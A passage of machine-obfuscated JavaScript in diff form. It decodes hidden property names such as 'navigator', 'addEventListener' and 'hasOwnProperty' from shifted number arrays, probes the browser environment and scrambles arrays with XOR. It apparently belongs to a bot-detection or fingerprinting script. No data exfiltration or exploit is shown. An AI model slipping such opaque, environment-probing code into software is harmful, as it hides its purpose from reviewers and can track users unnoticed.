_$WC; + _$Wv = _$ks[_$Ns] + } + if (_$Wv) { + _$Qv = 1; + _$Lj = _$Qv + } else { + _$Qv = 0; + _$Lj = _$Qv + } + _$Qv = _$Ye + _$Oe + _$Ue; + _$vD = _$Qv; + _$Qv = _$vD; + _$Wv = _$PC; + _$Yv = _$Qv[_$Wv]; + _$XC = _$Yv; + _$Qv = []; + _$sD = _$Qv; + for (_$nD = 0; _$nD < _$XC; _$nD++) { + _$Qv = _$vD; + _$Wv = _$OC; + _$Yv = _$nD; + _$Ov = _$Qv[_$Wv](_$Yv); + _$FC = _$Ov; + _$Qv = _$FC; + _$Wv = 65536; + _$Yv = _$Qv >= _$Wv; + _$Ov = _$Yv; + if (_$Ov) { + _$ks = _$FC; + _$Ns = 1114111; + _$Ov = _$ks <= _$Ns + } + if (_$Ov) { + _$Qv = _$sD; + _$Wv = _$LC; + _$Yv = _$FC; + _$Ov = 18; + _$Pv = _$Yv >> _$Ov; + _$Gv = 7; + _$Zv = _$Pv & _$Gv; + _$Ev = 240; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$sD; + _$Wv = _$LC; + _$Yv = _$FC; + _$Ov = 12; + _$Pv = _$Yv >> _$Ov; + _$Gv = 63; + _$Zv = _$Pv & _$Gv; + _$Ev = 128; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$sD; + _$Wv = _$LC; + _$Yv = _$FC; + _$Ov = 6; + _$Pv = _$Yv >> _$Ov; + _$Gv = 63; + _$Zv = _$Pv & _$Gv; + _$Ev = 128; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$sD; + _$Wv = _$LC; + _$Yv = _$FC; + _$Ov = 63; + _$Pv = _$Yv & _$Ov; + _$Gv = 128; + _$Zv = _$Pv | _$Gv; + _$Qv[_$Wv](_$Zv) + } else { + _$Qv = _$FC; + _$Wv = 2048; + _$Yv = _$Qv >= _$Wv; + _$Ov = _$Yv; + if (_$Ov) { + _$ks = _$FC; + _$Ns = 65535; + _$Ov = _$ks <= _$Ns + } + if (_$Ov) { + _$Qv = _$sD; + _$Wv = _$LC; + _$Yv = _$FC; + _$Ov = 12; + _$Pv = _$Yv >> _$Ov; + _$Gv = 15; + _$Zv = _$Pv & _$Gv; + _$Ev = 224; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$sD; + _$Wv = _$LC; + _$Yv = _$FC; + _$Ov = 6; + _$Pv = _$Yv >> _$Ov; + _$Gv = 63; + _$Zv = _$Pv & _$Gv; + _$Ev = 128; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$sD; + _$Wv = _$LC; + _$Yv = _$FC; + _$Ov = 63; + _$Pv = _$Yv & _$Ov; + _$Gv = 128; + _$Zv = _$Pv | _$Gv; + _$Qv[_$Wv](_$Zv) + } else { + _$Qv = _$FC; + _$Wv = 128; + _$Yv = _$Qv >= _$Wv; + _$Ov = _$Yv; + if (_$Ov) { + _$ks = _$FC; + _$Ns = 2047; + _$Ov = _$ks <= _$Ns + } + if (_$Ov) { + _$Qv = _$sD; + _$Wv = _$LC; + _$Yv = _$FC; + _$Ov = 6; + _$Pv = _$Yv >> _$Ov; + _$Gv = 31; + _$Zv = _$Pv & _$Gv; + _$Ev = 192; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$sD; + _$Wv = _$LC; + _$Yv = _$FC; + _$Ov = 63; + _$Pv = _$Yv & _$Ov; + _$Gv = 128; + _$Zv = _$Pv | _$Gv; + _$Qv[_$Wv](_$Zv) + } else { + _$Qv = _$sD; + _$Wv = _$LC; + _$Yv = _$FC; + _$Ov = 255; + _$Pv = _$Yv & _$Ov; + _$Qv[_$Wv](_$Pv) + } + } + } + } + _$Qv = _$sD; + _$Wv = _$PC; + _$Yv = _$Qv[_$Wv]; + _$JC = _$Yv; + _$Qv = _$JC; + _$Wv = 2; + _$Yv = _$Qv / _$Wv; + _$JC = _$Yv; + _$Qv = []; + _$fD = _$Qv; + _$Qv = 0; + _$$C = _$Qv; + for (_$tD = 0; _$tD < _$JC; _$tD++) { + _$Qv = _$sD; + _$Wv = _$$C; + _$Yv = _$Qv[_$Wv]; + _$rD = _$Yv; + _$Qv = _$sD; + _$Wv = _$$C; + _$Yv = 1; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Qv[_$Ov]; + _$cD = _$Pv; + _$Qv = _$$C; + _$Wv = 2; + _$Yv = _$Qv + _$Wv; + _$$C = _$Yv; + _$Qv = _$rD; + _$Wv = 46; + _$Yv = _$Qv - _$Wv; + _$rD = _$Yv; + _$Qv = _$cD; + _$Wv = 46; + _$Yv = _$Qv - _$Wv; + _$cD = _$Yv; + _$Qv = _$cD; + _$Wv = 19; + _$Yv = _$Qv * _$Wv; + _$Ov = _$rD; + _$Pv = _$Yv + _$Ov; + _$eD = _$Pv; + _$Qv = _$eD; + _$Wv = 11; + _$Yv = _$Qv ^ _$Wv; + _$aD = _$Yv; + _$Qv = _$fD; + _$Wv = _$tD; + _$Yv = _$aD; + _$Qv[_$Wv] = _$Yv + } + _$Qv = _$BC; + _$iD = _$Qv; + for (_$hD = 0; _$hD < _$fD.length; _$hD++) { + _$Qv = _$fD; + _$Wv = _$hD; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$dc + _$Mc; + _$Pv = 2; + _$Gv = _$Yv[_$Ov](_$Pv); + _$oD = _$Gv; + _$Qv = _$oD; + _$Wv = _$LS; + _$Yv = /^1+?(?=0)/; + _$Ov = _$Qv[_$Wv](_$Yv); + _$kD = _$Ov; + _$Qv = _$kD; + _$Wv = _$Qv; + if (_$Wv) { + _$ks = _$oD; + _$Ns = _$PC; + _$Hs = _$ks[_$Ns]; + _$xs = 8; + _$Wv = _$Hs === _$xs + } + if (_$Wv) { + _$Qv = _$kD; + _$Wv = 0; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$PC; + _$Pv = _$Yv[_$Ov]; + _$bD = _$Pv; + _$Qv = _$fD; + _$Wv = _$hD; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$dc + _$Mc; + _$Pv = 2; + _$Gv = _$Yv[_$Ov](_$Pv); + _$Zv = _$_S; + _$Ev = 7; + _$_v = _$bD; + _$Vv = _$Ev - _$_v; + _$qv = _$Gv[_$Zv](_$Vv); + _$lD = _$qv; + for (_$gD = 0; _$gD < _$bD; _$gD++) { + _$Qv = _$fD; + _$Wv = _$gD; + _$Yv = _$hD; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Qv[_$Ov]; + _$Gv = _$wc + _$yc; + _$Zv = 2; + _$Ev = _$Pv[_$Gv](_$Zv); + _$_v = _$_S; + _$Vv = 2; + _$qv = _$Ev[_$_v](_$Vv); + _$lD += _$qv + } + _$Qv = _$lD; + _$Wv = 2; + _$Yv = parseInt(_$Qv, _$Wv); + _$Ov = _$bW(_$Yv); + _$iD += _$Ov; + _$Qv = _$bD; + _$Wv = 1; + _$Yv = _$Qv - _$Wv; + _$hD += _$Yv + } else { + _$Qv = _$fD; + _$Wv = _$hD; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$bW(_$Yv); + _$iD += _$Ov + } + } + _$Qv = _$Lh; + _$uD = _$Qv; + _$Wv = 1; + _$pD = _$Wv; + _$Qv = _$pD; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$pD = _$Yv; + _$Qv = 1; + _$uD = _$Qv; + _$Qv = _$BC; + _$yD = _$Qv; + _$Qv = _$pD; + _$uD = _$Qv; + _$Qv = 49664; + _$Wv = 51200; + _$Yv = 51200; + _$Ov = 35328; + _$Pv = 60416; + _$Gv = 51712; + _$Zv = 56320; + _$Ev = 51712; + _$_v = 59392; + _$Vv = 38912; + _$qv = 53760; + _$Hv = 58880; + _$xv = 59392; + _$Bv = 51712; + _$Xv = 56320; + _$Fv = 51712; + _$$v = 58368; + _$es = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v, _$Vv, _$qv, _$Hv, _$xv, _$Bv, _$Xv, _$Fv, _$$v]; + _$pD = _$es; + for (_$wD = 0; _$wD < _$pD.length; _$wD++) { + _$Qv = _$yD; + _$Wv = _$pD; + _$Yv = _$wD; + _$Ov = _$Wv[_$Yv]; + _$Pv = 9; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$yD = _$Ev + } + _$Qv = _$pD; + _$Wv = _$LC; + _$Yv = _$uD; + _$Ov = _$Qv[_$Wv](_$Yv); + _$pD = _$Ov; + _$Qv = _$PY; + _$Wv = _$yD; + _$Yv = typeof _$Qv[_$Wv]; + _$Ov = _$iD; + _$Pv = _$Yv === _$Ov; + _$Gj = _$Pv; + _$Gv = _$_h; + _$dD = _$Gv; + _$Zv = 1; + _$MD = _$Zv; + _$Qv = _$MD; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$MD = _$Yv; + _$Qv = 1; + _$dD = _$Qv; + _$Qv = _$BC; + _$ID = _$Qv; + _$Qv = _$MD; + _$dD = _$Qv; + _$Qv = 12544; + _$Wv = 14208; + _$Yv = 12800; + _$Ov = 15488; + _$Pv = [_$Qv, _$Wv, _$Yv, _$Ov]; + _$MD = _$Pv; + for (_$AD = 0; _$AD < _$MD.length; _$AD++) { + _$Qv = _$ID; + _$Wv = _$MD; + _$Yv = _$AD; + _$Ov = _$Wv[_$Yv]; + _$Pv = 7; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$ID = _$Ev + } + _$Qv = _$MD; + _$Wv = _$LC; + _$Yv = _$dD; + _$Ov = _$Qv[_$Wv](_$Yv); + _$MD = _$Ov; + _$Qv = _$Rh; + _$SD = _$Qv; + _$Wv = 1; + _$mD = _$Wv; + _$Qv = _$mD; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$mD = _$Yv; + _$Qv = 1; + _$SD = _$Qv; + _$Qv = _$BC; + _$TD = _$Qv; + _$Qv = _$mD; + _$SD = _$Qv; + _$Qv = 6656; + _$Wv = 6208; + _$Yv = 7360; + _$Ov = 5056; + _$Pv = 7616; + _$Gv = 7040; + _$Zv = 5120; + _$Ev = 7296; + _$_v = 7104; + _$Vv = 7168; + _$qv = 6464; + _$Hv = 7296; + _$xv = 7424; + _$Bv = 7744; + _$Xv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v, _$Vv, _$qv, _$Hv, _$xv, _$Bv]; + _$mD = _$Xv; + for (_$jD = 0; _$jD < _$mD.length; _$jD++) { + _$Qv = _$TD; + _$Wv = _$mD; + _$Yv = _$jD; + _$Ov = _$Wv[_$Yv]; + _$Pv = 6; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$TD = _$Ev + } + _$Qv = _$mD; + _$Wv = _$LC; + _$Yv = _$SD; + _$Ov = _$Qv[_$Wv](_$Yv); + _$mD = _$Ov; + _$Qv = _$Lj; + _$Wv = _$Qv; + if (_$Wv) { + _$ks = _$sC; + _$Ns = _$TD; + _$Hs = _$ID; + _$xs = _$ks[_$Ns](_$Hs); + _$Wv = !_$xs + } + _$Lj = _$Wv; + _$Qv = _$Lj; + if (_$Qv) { + for (_$Cj = 1; _$Cj < 20; _$Cj += 2) { + _$Qv = _$iY; + _$Wv = _$Cj; + _$Yv = _$iY; + _$Ov = _$Cj; + _$Pv = _$Yv[_$Ov]; + _$Gv = 48; + _$Zv = _$Pv - _$Gv; + _$Ev = parseInt(_$Zv); + _$_v = _$MY; + _$Vv = _$wY; + _$qv = _$_v[_$Vv]; + _$Hv = _$Ev ^ _$qv; + _$Qv[_$Wv] = _$Hv + } + } + _$Qv = _$Lj; + _$Wv = !_$Qv; + if (_$Wv) { + for (_$Cj = 0; _$Cj < _$iY.length; _$Cj++) { + _$Qv = _$iY; + _$Wv = _$Cj; + _$Yv = _$iY; + _$Ov = _$Cj; + _$Pv = _$Yv[_$Ov]; + _$Gv = _$MY; + _$Zv = _$wY; + _$Ev = _$Gv[_$Zv]; + _$_v = _$Pv ^ _$Ev; + _$Qv[_$Wv] = _$_v + } + } + _$wY++; + _$Qv = []; + _$mY = _$Qv; + _$Qv = 34; + _$CD = _$Qv; + _$Wv = 0; + _$DD = _$Wv; + _$Yv = _$OW++; + _$KD = _$Yv; + _$Qv = _$KD; + _$Wv = 3825; + _$Yv = 5476; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Qv * _$Ov; + _$Gv = 13368; + _$Zv = 35929; + _$Ev = _$Gv + _$Zv; + _$_v = _$Pv + _$Ev; + _$Vv = 304625; + _$qv = 71345; + _$Hv = _$Vv - _$qv; + _$xv = _$_v % _$Hv; + _$KD = _$xv; + _$Qv = _$KD; + _$Wv = 155215; + _$Yv = 78065; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Qv / _$Ov; + _$QD = _$Pv; + _$Gv = _$QD; + _$Zv = 51; + _$Ev = _$CD; + _$_v = _$Zv - _$Ev; + _$Vv = 1; + _$qv = _$_v + _$Vv; + _$Hv = _$Gv * _$qv; + _$xv = _$CD; + _$Bv = _$Hv + _$xv; + _$WD = _$Bv; + for (_$YD = 0; _$YD < (_$DD ^ _$WD); _$YD++) { + _$Qv = 9; + _$Wv = 71; + _$Yv = _$Qv + _$Wv; + _$UD = _$Yv; + _$Ov = 0; + _$OD = _$Ov; + _$Pv = _$OW++; + _$PD = _$Pv; + _$Qv = _$PD; + _$Wv = 12625; + _$Yv = 3324; + _$Ov = _$Wv - _$Yv; + _$Pv = _$Qv * _$Ov; + _$Gv = 82351; + _$Zv = 33054; + _$Ev = _$Gv - _$Zv; + _$_v = _$Pv + _$Ev; + _$Vv = 66380; + _$qv = 166900; + _$Hv = _$Vv + _$qv; + _$xv = _$_v % _$Hv; + _$PD = _$xv; + _$Qv = _$PD; + _$Wv = 64857; + _$Yv = 168423; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Qv / _$Ov; + _$GD = _$Pv; + _$Gv = _$GD; + _$Zv = 100; + _$Ev = 27; + _$_v = _$Zv + _$Ev; + _$Vv = _$UD; + _$qv = _$_v - _$Vv; + _$Hv = 1; + _$xv = _$qv + _$Hv; + _$Bv = _$Gv * _$xv; + _$Xv = _$UD; + _$Fv = _$Bv + _$Xv; + _$ND = _$Fv; + _$Qv = _$mY; + _$Wv = _$LC; + _$Yv = _$OD; + _$Ov = _$ND; + _$Pv = _$Yv ^ _$Ov; + _$Qv[_$Wv](_$Pv) + } + _$Qv = _$BW; + _$ZD = _$Qv; + _$Wv = 4; + _$Yv = 23; + _$Ov = _$Wv > _$Yv; + _$zD = _$Ov; + _$Pv = _$pW; + _$ED = _$Pv; + _$Gv = _$Eh; + _$RD = _$Gv; + _$Zv = 1; + _$_D = _$Zv; + _$Qv = _$_D; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$_D = _$Yv; + _$Qv = 1; + _$RD = _$Qv; + _$Qv = _$BC; + _$LD = _$Qv; + _$Qv = _$_D; + _$RD = _$Qv; + _$Qv = 1343488; + _$Wv = 1654784; + _$Yv = 1687552; + _$Ov = 1130496; + _$Pv = 1966080; + _$Gv = 1835008; + _$Zv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv]; + _$_D = _$Zv; + for (_$VD = 0; _$VD < _$_D.length; _$VD++) { + _$Qv = _$LD; + _$Wv = _$_D; + _$Yv = _$VD; + _$Ov = _$Wv[_$Yv]; + _$Pv = 14; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$LD = _$Ev + } + _$Qv = _$_D; + _$Wv = _$LC; + _$Yv = _$RD; + _$Ov = _$Qv[_$Wv](_$Yv); + _$_D = _$Ov; + _$Qv = _$ED; + _$Wv = _$PC; + _$Yv = _$Qv[_$Wv]; + _$Ov = 10; + _$Pv = _$Yv > _$Ov; + _$Gv = _$Pv; + if (_$Gv) { + _$ks = _$ZD; + _$Ns = _$LD; + _$Gv = _$ks[_$Ns] + } + if (_$Gv) { + _$Qv = _$zh; + _$qD = _$Qv; + _$Wv = 1; + _$HD = _$Wv; + _$Qv = _$HD; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$HD = _$Yv; + _$Qv = 1; + _$qD = _$Qv; + _$Qv = _$BC; + _$xD = _$Qv; + _$Qv = _$HD; + _$qD = _$Qv; + _$Qv = 164; + _$Wv = 202; + _$Yv = 206; + _$Ov = 138; + _$Pv = 240; + _$Gv = 224; + _$Zv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv]; + _$HD = _$Zv; + for (_$BD = 0; _$BD < _$HD.length; _$BD++) { + _$Qv = _$xD; + _$Wv = _$HD; + _$Yv = _$BD; + _$Ov = _$Wv[_$Yv]; + _$Pv = 1; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$xD = _$Ev + } + _$Qv = _$HD; + _$Wv = _$LC; + _$Yv = _$qD; + _$Ov = _$Qv[_$Wv](_$Yv); + _$HD = _$Ov; + _$Qv = _$ZD; + _$Wv = _$xD; + _$Yv = _$Qv[_$Wv]; + _$zD = _$Yv + } + _$Qv = _$Zh; + _$XD = _$Qv; + _$Wv = 1; + _$FD = _$Wv; + _$Qv = _$FD; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$FD = _$Yv; + _$Qv = 1; + _$XD = _$Qv; + _$Qv = _$BC; + _$JD = _$Qv; + _$Qv = _$FD; + _$XD = _$Qv; + _$Qv = 3604480; + _$Wv = 3178496; + _$Yv = 3866624; + _$Ov = 3440640; + _$Pv = 3375104; + _$Gv = 3178496; + _$Zv = 3801088; + _$Ev = 3637248; + _$_v = 3735552; + _$Vv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v]; + _$FD = _$Vv; + for (_$$D = 0; _$$D < _$FD.length; _$$D++) { + _$Qv = _$JD; + _$Wv = _$FD; + _$Yv = _$$D; + _$Ov = _$Wv[_$Yv]; + _$Pv = 15; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$JD = _$Ev + } + _$Qv = _$FD; + _$Wv = _$LC; + _$Yv = _$XD; + _$Ov = _$Qv[_$Wv](_$Yv); + _$FD = _$Ov; + _$Qv = _$ED; + _$Wv = _$PC; + _$Yv = _$Qv[_$Wv]; + _$Ov = 10; + _$Pv = _$Yv > _$Ov; + _$Gv = _$Pv ? (_$ks = _$ZD, + _$Ns = _$JD, + _$ks[_$Ns]) : 0; + _$aK = _$Gv; + _$Zv = 0; + _$Ev = 1; + _$_v = _$Zv > _$Ev; + _$eK = _$_v; + _$Qv = _$aK; + if (_$Qv) { + _$Qv = 4; + _$Wv = 2; + _$Yv = _$Qv > _$Wv; + _$eK = _$Yv + } + _$Qv = _$Nh; + _$rK = _$Qv; + _$Wv = 1; + _$cK = _$Wv; + _$Qv = _$cK; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$cK = _$Yv; + _$Qv = 1; + _$rK = _$Qv; + _$Qv = _$BC; + _$vK = _$Qv; + _$Qv = _$cK; + _$rK = _$Qv; + _$Qv = 6356992; + _$Wv = 6553600; + _$Yv = 6553600; + _$Ov = 6684672; + _$Pv = 7536640; + _$Gv = 6488064; + _$Zv = 7077888; + _$Ev = 6553600; + _$_v = 6488064; + _$Vv = 7077888; + _$qv = 7143424; + _$Hv = 7536640; + _$xv = 6553600; + _$Bv = 6488064; + _$Xv = 7077888; + _$Fv = 7012352; + _$$v = 7536640; + _$es = 7143424; + _$ts = 7536640; + _$ds = 6881280; + _$Ms = 6553600; + _$Is = 6946816; + _$As = 6684672; + _$Ss = 6881280; + _$Yn = 7274496; + _$Un = 7471104; + _$On = 6619136; + _$Pn = 7733248; + _$Gn = 7208960; + _$Nn = 7143424; + _$Zn = 7012352; + _$zn = 6488064; + _$En = 7077888; + _$Rn = 7208960; + _$_n = 7077888; + _$Ln = 6488064; + _$Vn = 7536640; + _$qn = 6553600; + _$Hn = 6488064; + _$xn = 7536640; + _$Bn = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v, _$Vv, _$qv, _$Hv, _$xv, _$Bv, _$Xv, _$Fv, _$$v, _$es, _$ts, _$ds, _$Ms, _$Is, _$As, _$Ss, _$Yn, _$Un, _$On, _$Pn, _$Gn, _$Nn, _$Zn, _$zn, _$En, _$Rn, _$_n, _$Ln, _$Vn, _$qn, _$Hn, _$xn]; + _$cK = _$Bn; + for (_$sK = 0; _$sK < _$cK.length; _$sK++) { + _$Qv = _$vK; + _$Wv = _$cK; + _$Yv = _$sK; + _$Ov = _$Wv[_$Yv]; + _$Pv = 16; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$vK = _$Ev + } + _$Qv = _$cK; + _$Wv = _$LC; + _$Yv = _$rK; + _$Ov = _$Qv[_$Wv](_$Yv); + _$cK = _$Ov; + _$Qv = _$vK; + _$nK = _$Qv; + _$Wv = 0; + _$fK = _$Wv; + for (var _$sx in _$aK) { + _$fK++ + } + _$Qv = _$eK; + _$Wv = _$Qv; + if (_$Wv) { + _$ks = _$fK; + _$Ns = 15; + _$Wv = _$ks > _$Ns + } + _$eK = _$Wv; + _$Qv = _$eK; + if (_$Qv) { + for (_$YD = 0; _$YD < 20; _$YD += 2) { + _$Qv = _$mY; + _$Wv = _$YD; + _$Yv = _$mY; + _$Ov = _$YD; + _$Pv = _$Yv[_$Ov]; + _$Gv = 3; + _$Zv = _$Pv / _$Gv; + _$Ev = parseInt(_$Zv); + _$_v = _$MY; + _$Vv = _$wY; + _$qv = _$_v[_$Vv]; + _$Hv = _$Ev ^ _$qv; + _$Qv[_$Wv] = _$Hv + } + } + _$Qv = _$eK; + _$Wv = !_$Qv; + if (_$Wv) { + for (_$YD = 0; _$YD < _$mY.length; _$YD++) { + _$Qv = _$mY; + _$Wv = _$YD; + _$Yv = _$mY; + _$Ov = _$YD; + _$Pv = _$Yv[_$Ov]; + _$Gv = _$MY; + _$Zv = _$wY; + _$Ev = _$Gv[_$Zv]; + _$_v = _$Pv ^ _$Ev; + _$Qv[_$Wv] = _$_v + } + } + _$wY++; + _$Qv = []; + _$gW = _$Qv; + _$Qv = 39; + _$tK = _$Qv; + _$Wv = 0; + _$iK = _$Wv; + _$Yv = _$hY++; + _$kK = _$Yv; + _$Qv = _$kK; + _$Wv = 12217; + _$Yv = 2916; + _$Ov = _$Wv - _$Yv; + _$Pv = _$Qv * _$Ov; + _$Gv = 66134; + _$Zv = 16837; + _$Ev = _$Gv - _$Zv; + _$_v = _$Pv + _$Ev; + _$Vv = 108736; + _$qv = 124544; + _$Hv = _$Vv + _$qv; + _$xv = _$_v % _$Hv; + _$kK = _$xv; + _$Qv = _$kK; + _$Wv = 353088; + _$Yv = 119808; + _$Ov = _$Wv - _$Yv; + _$Pv = _$Qv / _$Ov; + _$Gv = 45; + _$Zv = _$tK; + _$Ev = _$Gv - _$Zv; + _$_v = 1; + _$Vv = _$Ev + _$_v; + _$qv = _$Pv * _$Vv; + _$Hv = _$tK; + _$xv = _$qv + _$Hv; + _$bK = _$xv; + for (_$YD = 0; _$YD < (_$iK | _$bK); _$YD++) { + _$Qv = 28; + _$Wv = 52; + _$Yv = _$Qv + _$Wv; + _$hK = _$Yv; + _$Ov = 0; + _$AK = _$Ov; + _$Pv = _$hY++; + _$SK = _$Pv; + _$Qv = _$SK; + _$Wv = 13353; + _$Yv = 4052; + _$Ov = _$Wv - _$Yv; + _$Pv = _$Qv * _$Ov; + _$Gv = 78460; + _$Zv = 29163; + _$Ev = _$Gv - _$Zv; + _$_v = _$Pv + _$Ev; + _$Vv = 121779; + _$qv = 111501; + _$Hv = _$Vv + _$qv; + _$xv = _$_v % _$Hv; + _$SK = _$xv; + _$Qv = _$SK; + _$Wv = 81043; + _$Yv = 152237; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Qv / _$Ov; + _$Gv = 99; + _$Zv = 28; + _$Ev = _$Gv + _$Zv; + _$_v = _$hK; + _$Vv = _$Ev - _$_v; + _$qv = 1; + _$Hv = _$Vv + _$qv; + _$xv = _$Pv * _$Hv; + _$Bv = _$hK; + _$Xv = _$xv + _$Bv; + _$mK = _$Xv; + _$Qv = _$gW; + _$Wv = _$LC; + _$Yv = _$AK; + _$Ov = _$mK; + _$Pv = _$Yv | _$Ov; + _$Qv[_$Wv](_$Pv) + } + _$Qv = _$sY; + _$TK = _$Qv; + _$Wv = 0; + _$jK = _$Wv; + _$Qv = _$eK; + if (_$Qv) { + _$Qv = _$Qe + _$Ke + _$We + _$Ue; + _$GK = _$Qv; + _$Qv = _$GK; + _$Wv = _$PC; + _$Yv = _$Qv[_$Wv]; + _$CK = _$Yv; + _$Qv = []; + _$NK = _$Qv; + for (_$ZK = 0; _$ZK < _$CK; _$ZK++) { + _$Qv = _$GK; + _$Wv = _$OC; + _$Yv = _$ZK; + _$Ov = _$Qv[_$Wv](_$Yv); + _$DK = _$Ov; + _$Qv = _$DK; + _$Wv = 65536; + _$Yv = _$Qv >= _$Wv; + _$Ov = _$Yv; + if (_$Ov) { + _$ks = _$DK; + _$Ns = 1114111; + _$Ov = _$ks <= _$Ns + } + if (_$Ov) { + _$Qv = _$NK; + _$Wv = _$LC; + _$Yv = _$DK; + _$Ov = 18; + _$Pv = _$Yv >> _$Ov; + _$Gv = 7; + _$Zv = _$Pv & _$Gv; + _$Ev = 240; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$NK; + _$Wv = _$LC; + _$Yv = _$DK; + _$Ov = 12; + _$Pv = _$Yv >> _$Ov; + _$Gv = 63; + _$Zv = _$Pv & _$Gv; + _$Ev = 128; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$NK; + _$Wv = _$LC; + _$Yv = _$DK; + _$Ov = 6; + _$Pv = _$Yv >> _$Ov; + _$Gv = 63; + _$Zv = _$Pv & _$Gv; + _$Ev = 128; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$NK; + _$Wv = _$LC; + _$Yv = _$DK; + _$Ov = 63; + _$Pv = _$Yv & _$Ov; + _$Gv = 128; + _$Zv = _$Pv | _$Gv; + _$Qv[_$Wv](_$Zv) + } else { + _$Qv = _$DK; + _$Wv = 2048; + _$Yv = _$Qv >= _$Wv; + _$Ov = _$Yv; + if (_$Ov) { + _$ks = _$DK; + _$Ns = 65535; + _$Ov = _$ks <= _$Ns + } + if (_$Ov) { + _$Qv = _$NK; + _$Wv = _$LC; + _$Yv = _$DK; + _$Ov = 12; + _$Pv = _$Yv >> _$Ov; + _$Gv = 15; + _$Zv = _$Pv & _$Gv; + _$Ev = 224; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$NK; + _$Wv = _$LC; + _$Yv = _$DK; + _$Ov = 6; + _$Pv = _$Yv >> _$Ov; + _$Gv = 63; + _$Zv = _$Pv & _$Gv; + _$Ev = 128; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$NK; + _$Wv = _$LC; + _$Yv = _$DK; + _$Ov = 63; + _$Pv = _$Yv & _$Ov; + _$Gv = 128; + _$Zv = _$Pv | _$Gv; + _$Qv[_$Wv](_$Zv) + } else { + _$Qv = _$DK; + _$Wv = 128; + _$Yv = _$Qv >= _$Wv; + _$Ov = _$Yv; + if (_$Ov) { + _$ks = _$DK; + _$Ns = 2047; + _$Ov = _$ks <= _$Ns + } + if (_$Ov) { + _$Qv = _$NK; + _$Wv = _$LC; + _$Yv = _$DK; + _$Ov = 6; + _$Pv = _$Yv >> _$Ov; + _$Gv = 31; + _$Zv = _$Pv & _$Gv; + _$Ev = 192; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$NK; + _$Wv = _$LC; + _$Yv = _$DK; + _$Ov = 63; + _$Pv = _$Yv & _$Ov; + _$Gv = 128; + _$Zv = _$Pv | _$Gv; + _$Qv[_$Wv](_$Zv) + } else { + _$Qv = _$NK; + _$Wv = _$LC; + _$Yv = _$DK; + _$Ov = 255; + _$Pv = _$Yv & _$Ov; + _$Qv[_$Wv](_$Pv) + } + } + } + } + _$Qv = _$NK; + _$Wv = _$PC; + _$Yv = _$Qv[_$Wv]; + _$QK = _$Yv; + _$Qv = _$QK; + _$Wv = 2; + _$Yv = _$Qv / _$Wv; + _$QK = _$Yv; + _$Qv = []; + _$zK = _$Qv; + _$Qv = 0; + _$WK = _$Qv; + for (_$EK = 0; _$EK < _$QK; _$EK++) { + _$Qv = _$NK; + _$Wv = _$WK; + _$Yv = _$Qv[_$Wv]; + _$OK = _$Yv; + _$Qv = _$NK; + _$Wv = _$WK; + _$Yv = 1; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Qv[_$Ov]; + _$PK = _$Pv; + _$Qv = _$WK; + _$Wv = 2; + _$Yv = _$Qv + _$Wv; + _$WK = _$Yv; + _$Qv = _$OK; + _$Wv = 46; + _$Yv = _$Qv - _$Wv; + _$OK = _$Yv; + _$Qv = _$PK; + _$Wv = 46; + _$Yv = _$Qv - _$Wv; + _$PK = _$Yv; + _$Qv = _$PK; + _$Wv = 19; + _$Yv = _$Qv * _$Wv; + _$Ov = _$OK; + _$Pv = _$Yv + _$Ov; 